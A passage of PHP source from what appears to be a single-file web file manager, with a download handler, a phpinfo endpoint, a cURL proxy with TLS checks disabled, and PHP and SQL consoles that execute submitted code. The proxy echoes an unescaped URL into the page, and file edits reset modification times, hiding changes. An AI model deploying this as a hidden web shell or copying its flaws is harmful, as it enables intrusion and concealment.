	    case 2: $ext='jpeg'; break;
	    case 3: $ext='png'; break;
	    case 6: $ext='bmp'; break;
	    default: die();
	}
	header("Content-type: image/$ext");
	echo file_get_contents($file);
	die();
    }
}

// Just download file
if (isset($_GET['download'])) {
    $file=base64_decode($_GET['download']);
    fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
    phpinfo(); 
    die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
    $url = isset($_GET['url'])?urldecode($_GET['url']):'';
    $proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
    <form action="" method="GET">
    <input type="hidden" name="proxy" value="true">
    '.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
    <input type="submit" value="'.__('Show').'" class="fm_input">
    </form>
</div>
';
    if ($url) {
	$ch = curl_init($url);
	curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
	curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
	curl_setopt($ch, CURLOPT_HEADER, 0);
	curl_setopt($ch, CURLOPT_REFERER, $url);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
	$result = curl_exec($ch);
	curl_close($ch);
	//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
	$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
	$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
	echo $result;
	die();
    } 
}
?>
<!doctype html>
<html>
<head>     
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
    background-color:	white;
    font-family:		Verdana, Arial, Helvetica, sans-serif;
    font-size:			8pt;
    margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
    background-color: #ACBBC6
}

th, td { 
    font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
    padding: 3px;
}

th	{
    height:				25px;
    background-color:	#006699;
    color:				#FFA34F;
    font-weight:		bold;
    font-size:			11px;
}

.row1 {
    background-color:	#EFEFEF;
}

.row2 {
    background-color:	#DEE3E7;
}

.row3 {
    background-color:	#D1D7DC;
    padding: 5px;
}

tr.row1:hover {
    background-color:	#F3FCFC;
}

tr.row2:hover {
    background-color:	#F0F6F6;
}

.whole {
    width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
    font: 9pt 'Courier New', courier;
    line-height: 125%;
    padding: 5px;
}

.textarea_input {
    height: 1em;
}

.textarea_input:focus {
    height: auto;
}

input[type=submit]{
    background: #FCFCFC none !important;
    cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423GbcajJgYmISZLTepN7ppSTbmmKaY7TDtMx83MzaLN1pk1mz0x1zLnm+eb15vft2BaeFostqi2uGVJsuRaplnutrxuhVo5WaVYVVpds0atna0l1rutu6cRp7lOk06rntZnw7Dxtsm2qbcZsOXYBtuutm22fWFnYhdnt8Wuw+6TvZN9un2N/T0HDYfZDqsdWh1+c7RyFDpWOt6azpzuP33F9JbpL2dYzxDP2DPjthPLKcRpnVOb00dnF2e5c4PziIuJS4LLLpc+Lpsbxt3IveRKdPVxXeF60vWdm7Obwu2o26/uNu5p7ofcn8w0nymeWTNz0MPIQ+BR5dE/C5+VMGvfrH5PQ0+BZ7XnIy9jL5FXrdewt6V3qvdh7xc+9j5yn+M+4zw33jLeWV/MN8C3yLfLT8Nvnl+F30N/I/9k/3r/0QCngCUBZwOJgUGBWwL7+Hp8Ib+OPzrbZfay2e1BjKC5QRVBj4KtguXBrSFoyOyQrSH355jOkc5pDoVQfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMhleGAKOAAAByElEQVQ4y8WTT2sUQRDFf9XTM+PGIBHdEEQR8eAfggaPHvTuyU+i+A38AF48efJbKB5zE0IMAVcCiRhQE8gmm111s9mZ3Zl+Hmay5qAY8GBDdTWPeo9HVRf872O9xVv3/JnrCygIU406K/qbrbP3Vxb/qjD8+OSNtC+VX6RiUyrWpXJD2aenfyR3Xs9N3h5rFIw6EAYQxsAIKMFx+cfSg0dmFk+qJaQyGu0tvwT2KwEZhANQWZGVg3LS83eupM2F5yiDkE9wDPZ762vQfVUJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
    background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
    #header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
    #header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
    $res = empty($_POST['sql']) ? '' : $_POST['sql'];
    $res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
    $res = empty($_POST['php']) ? '' : $_POST['php'];
    $res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
    echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
    die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
    if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
    else echo '</h2></td><td>'.fm_run_input('sql');
    ?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
	<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
	<form action="" method="POST" name="console">
	<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
	<input type="reset" value="<?=__('Reset')?>">
	<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
    $active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
    $select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
    $select .= '<option value="-1">' . __('Select') . "</option>\n";
    foreach ($tmpl as $key=>$value){
	$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
    }
    $select .= "</select>\n";
    echo $select;
}
?>
	</form>
    </td>
</tr>
</table>
<?php
    if (!empty($res)) {
	$fun='fm_'.$res_lng;
	echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
    }
} elseif(!empty($_REQUEST['edit'])){
    if(!empty($_REQUEST['save'])) {
	$fn = $path . $_REQUEST['edit'];
	$filemtime = filemtime($fn);
        if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
	else $msg .= __('Error occurred');
	if ($_GET['edit']==basename(__FILE__)) touch(__FILE__,1415116371); 
	else touch($fn,$filemtime);
    }
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
    </td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
    </td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif(!empty($_REQUEST['rights'])){
    if(!empty($_REQUEST['save'])) {
        if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
	$msg .= (__('File updated')); 
	else $msg .= (__('Error occurred'));
    }
    clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
    </td>
</tr>
<tr>
    <td class="row1">
